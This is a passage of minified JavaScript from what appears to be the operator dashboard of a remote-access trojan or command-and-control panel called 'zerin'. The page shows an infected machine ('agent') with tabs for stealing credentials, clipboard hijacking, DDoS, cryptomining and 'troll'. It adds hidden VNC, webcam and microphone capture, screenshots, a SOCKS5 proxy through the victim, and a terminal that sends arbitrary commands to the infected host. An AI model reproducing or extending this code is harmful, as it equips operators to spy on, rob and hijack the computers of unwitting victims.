text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},bp=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function ZU(){const{id:e}=qo(),t=dr(),[n,r]=xx(),[i,a]=p.useState(null),[o,l]=p.useState([]),[c,u]=p.useState([]),[d,f]=p.useState(!0),[m,h]=p.useState(""),[x,g]=p.useState(""),[y,v]=p.useState(!1),[b,w]=p.useState(!1),[j,k]=p.useState(()=>{const L=n.get("tab");return L&&bp.includes(L)?L:"overview"}),[S,N]=p.useState(()=>{const L=n.get("tab"),de=new Set(["overview"]);return L&&bp.includes(L)&&de.add(L),de}),[z,_]=p.useState(null),[A,O]=p.useState(!0),[P,I]=p.useState(!1),[U,D]=p.useState(null),[M,F]=p.useState(new Set),[R,W]=p.useState(()=>n.get("auto")==="1"),[$,H]=p.useState(null),[X,se]=p.useState(-1),[ue,ge]=p.useState(!1),xe=p.useRef(null);p.useEffect(()=>{N(L=>{if(L.has(j))return L;const de=new Set(L);return de.add(j),de})},[j]),p.useEffect(()=>{N(new Set(["overview"]))},[e]),p.useEffect(()=>{const L=n.get("tab");L&&bp.includes(L)&&L!==j&&k(L)},[n]);const Y=L=>{k(L),L==="overview"?n.delete("tab"):n.set("tab",L),r(n,{replace:!0})},ee=p.useCallback(async()=>{if(e)try{const L=await TE(e);a(L),h("");try{const de=await Un(e);l(de.tasks??[]),u(de.results??[])}catch{l([]),u([])}}catch(L){a(null);const de=L instanceof Error&&"status"in L?L.status:"network";h(L instanceof Error?`${L.message} (${de})`:String(L))}finally{f(!1)}},[e]);p.useEffect(()=>{ee();const L=setInterval(ee,5e3);return()=>clearInterval(L)},[ee]),p.useEffect(()=>{if(!e)return;let L=!0;const de=async()=>{try{const te=await GE(e);L&&H(te)}catch{L&&H(null)}};de();const q=setInterval(de,3e3);return()=>{L=!1,clearInterval(q)}},[e]),p.useEffect(()=>{if(!z)return;const L=de=>{de.key==="Escape"&&_(null)};return window.addEventListener("keydown",L),()=>window.removeEventListener("keydown",L)},[z]);const C=p.useMemo(()=>[...o].sort((L,de)=>new Date(L.created_at).getTime()-new Date(de.created_at).getTime()),[o]),K=5e3,ne=p.useMemo(()=>{var de;const L=[];for(const q of C){const te=(de=q.args)!=null&&de.length?" "+q.args.join(" "):"";L.push({type:"command",content:`${q.command}${te}`,timestamp:q.created_at});const me=c.find(V=>V.task_id===q.id);me?(me.error&&L.push({type:"error",content:me.error,timestamp:me.completed_at}),me.output&&L.push({type:"output",content:me.output,timestamp:me.completed_at})):q.status==="queued"||q.status==="sent"?L.push({type:"system",content:`[${q.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):q.status==="timeout"&&L.push({type:"error",content:"[Task timed out]"})}if(L.length>K){const q=L.slice(L.length-K);return q.unshift({type:"system",content:`[Output truncated: showing last ${K.toLocaleString()} of ${L.length.toLocaleString()} lines]`}),q}return L},[C,c]),B=p.useMemo(()=>{const L=[];for(const de of C){if(de.command!=="screenshot")continue;const q=c.find(te=>te.task_id===de.id);if(q!=null&&q.data){const te=YA(q.data)?qA(q.data):`data:image/png;base64,${q.data}`;L.push({taskId:de.id,timestamp:q.completed_at,dataUrl:te})}}return L},[C,c]),ie=x?C2.filter(L=>L.startsWith(x.split(" ")[0])&&L!==x.split(" ")[0]):C2;async function ve(L){var me;if(L.preventDefault(),!e||!x.trim())return;const de=x.trim().split(/\s+/),q=de[0],te=de.slice(1);v(!0),w(!1);try{await Ee(e,{command:q,args:te}),g(""),D(null),setTimeout(ee,500)}catch(V){D(`[SEND FAILED] ${V instanceof Error?V.message:"Unknown error"}`)}finally{v(!1),(me=xe.current)==null||me.focus()}}function we(L){var de;g(L+" "),w(!1),(de=xe.current)==null||de.focus()}if(d)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"flex flex-col items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),m&&s.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:m}),s.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const _e=i.hostname||"unknown";return s.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),s.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:_e}),s.jsx(sd,{status:i.status,size:"md",showLabel:!0}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:Hs(i.id)}),i.elevated&&s.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&s.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[s.jsxs("button",{onClick:async()=>{try{await gx(i.id);const L=rt(),de=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),s.jsxs("button",{onClick:async()=>{try{await uj(i.id);const L=rt(),de=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),s.jsxs("div",{className:"relative",children:[s.jsxs("button",{onClick:()=>ge(L=>!L),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",s.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&s.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[s.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),s.jsxs("select",{value:X,onChange:L=>se(Number(L.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[s.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(L=>s.jsxs("option",{value:L,children:["Camera ",L]},L))]}),s.jsx("button",{onClick:async()=>{ge(!1);try{await dj(i.id,X);const L=rt(),de=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),s.jsxs("button",{onClick:async()=>{try{await fj(i.id);const L=rt(),de=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),s.jsxs("button",{onClick:async()=>{try{await Ee(i.id,{command:"screenshot"}),Y("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),s.jsxs("button",{onClick:()=>I(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),s.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[s.jsx(vn,{label:"Overview",active:j==="overview",onClick:()=>Y("overview")}),s.jsx(vn,{label:"Screenshots",active:j==="screenshots",onClick:()=>Y("screenshots"),badge:B.length>0?B.length:void 0}),s.jsx(vn,{label:"Files",active:j==="files",onClick:()=>Y("files")}),s.jsx(vn,{label:"Processes",active:j==="processes",onClick:()=>Y("processes")}),s.jsx(vn,{label:"Windows",active:j==="windows",onClick:()=>Y("windows")}),s.jsx(vn,{label:"Apps",active:j==="apps",onClick:()=>Y("apps")}),s.jsx(vn,{label:"System",active:j==="system",onClick:()=>Y("system")}),s.jsx(vn,{label:"Troll",active:j==="troll",onClick:()=>Y("troll")}),s.jsx(vn,{label:"Credentials",active:j==="credentials",onClick:()=>Y("credentials")}),s.jsx(vn,{label:"Clipper",active:j==="clipper",onClick:()=>Y("clipper")}),s.jsx(vn,{label:"DDoS",active:j==="ddos",onClick:()=>Y("ddos")}),s.jsx(vn,{label:"Miner",active:j==="miner",onClick:()=>Y("miner")})]}),s.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[s.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:s.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[s.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[s.jsxs(wp,{title:"System",children:[s.jsx(Qt,{label:"Hostname",value:i.hostname}),s.jsx(Qt,{label:"Username",value:i.username}),s.jsx(Qt,{label:"OS",value:So(i.os)}),s.jsx(Qt,{label:"Architecture",value:i.arch}),s.jsx(Qt,{label:"PID",value:String(i.pid),mono:!0}),s.jsx(Qt,{label:"Integrity",value:i.integrity}),s.jsx(Qt,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),s.jsxs(wp,{title:"Network",children:[s.jsx(Qt,{label:"Internal IP",value:i.internal_ip,mono:!0}),s.jsx(Qt,{label:"External IP",value:i.external_ip,mono:!0})]}),s.jsxs(wp,{title:"Timing",children:[s.jsx(Qt,{label:"Sleep / Jitter",value:gj(i.sleep_interval,i.jitter),mono:!0}),s.jsx(Qt,{label:"First Seen",value:No(i.first_seen)}),s.jsx(Qt,{label:"Last Seen",value:Vc(i.last_seen)}),s.jsx(Qt,{label:"Agent ID",value:Hs(i.id),mono:!0})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),s.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${$!=null&&$.active?"bg-emerald-400":"bg-zinc-600"}`})]}),s.jsx("div",{className:"px-4 py-3",children:$!=null&&$.active?s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.port?`127.0.0.1:${$.port}`:"-"})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.channels})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),s.jsxs("span",{className:"font-mono text-zerin-text",children:[km($.bytes_in)," in / ",km($.bytes_out)," out"]})]}),s.jsx("button",{onClick:async()=>{try{await YE(i.id),H({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):s.jsxs("div",{className:"space-y-2",children:[s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&s.jsx("button",{onClick:async()=>{try{const L=await pj(i.id);H({active:!0,port:L.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),s.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),s.jsx("div",{className:"overflow-x-auto",children:C.length===0?s.jsx("div",{className:"px-4 py-12 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(L=>{var q;const de=(q=L.args)!=null&&q.length?" "+L.args.join(" "):"";return s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[L.command,de]}),s.jsx("td",{className:"px-4 py-2.5",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${XU[L.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:L.status})}),s.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:No(L.created_at)})]},L.id)})})]})})]})})]})}),S.has("files")&&s.jsx("div",{style:{display:j==="files"?void 0:"none"},children:s.jsx(TU,{agentId:i.id,agentStatus:i.status})}),S.has("processes")&&s.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:s.jsx(MU,{agentId:i.id,agentStatus:i.status})}),S.has("windows")&&s.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:s.jsx(LU,{agentId:i.id,agentStatus:i.status})}),S.has("apps")&&s.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:s.jsx(IU,{agentId:i.id,agentStatus:i.status})}),S.has("system")&&s.jsx("div",{style:{display:j==="system"?void 0:"none"},children:s.jsx(DU,{agentId:i.id,agentStatus:i.status})}),S.has("troll")&&s.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:s.jsx($U,{agentId:i.id})}),S.has("credentials")&&s.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:s.jsx(HU,{agentId:i.id,agentStatus:i.status,autoGrab:R,onAutoGrabConsumed:()=>{W(!1),n.delete("auto"),r(n,{replace:!0})}})}),S.has("clipper")&&s.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:s.jsx(YU,{agentId:i.id,agentStatus:i.status})}),S.has("ddos")&&s.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:s.jsx(VS,{agentIds:[i.id],agentStatus:i.status})}),S.has("miner")&&s.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:s.jsx(GU,{agentId:i.id,agentStatus:i.status})}),S.has("screenshots")&&s.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:s.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",s.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):s.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map(L=>s.jsxs("button",{onClick:()=>_(L.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[s.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:M.has(L.dataUrl)?s.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):s.jsx("img",{src:L.dataUrl,alt:`Screenshot ${Hs(L.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>F(de=>new Set(de).add(L.dataUrl))})}),s.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:Hs(L.taskId)}),s.jsx("span",{className:"text-xs text-zerin-text-muted",children:Vc(L.timestamp)})]})})]},L.taskId))})})})]}),s.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("button",{onClick:()=>O(L=>!L),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${A?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),s.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&s.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),A&&s.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:s.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[s.jsx(OU,{lines:ne,className:"flex-1 border-0"}),s.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&ie.length>0&&s.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:s.jsxs("div",{className:"p-2",children:[s.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),s.jsx("div",{className:"flex flex-wrap gap-1",children:ie.map(L=>s.jsx("button",{onClick:()=>we(L),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:L},L))})]})}),U&&s.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:U}),s.jsxs("form",{onSubmit:ve,className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),s.jsx("input",{ref:xe,type:"text",value:x,onChange:L=>g(L.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),s.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),s.jsx(yj,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>I(!1)}),z&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>_(null),children:s.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:L=>L.stopPropagation(),children:[s.jsxs("button",{onClick:()=>_(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim + hover:text-zerin-text text-sm transition-colors px-2 py-1 + hover:bg-white/10`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),s.jsx("img",{src:z,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function vn({label:e,active:t,onClick:n,badge:r}){return s.jsxs("button",{onClick:n,className:` + px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px + ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} + `,children:[e,r!==void 0&&s.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function wp({title:e,children:t}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),s.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function Qt({label:e,value:t,valueClass:n="",mono:r=!1}){return s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),s.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const KS={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC 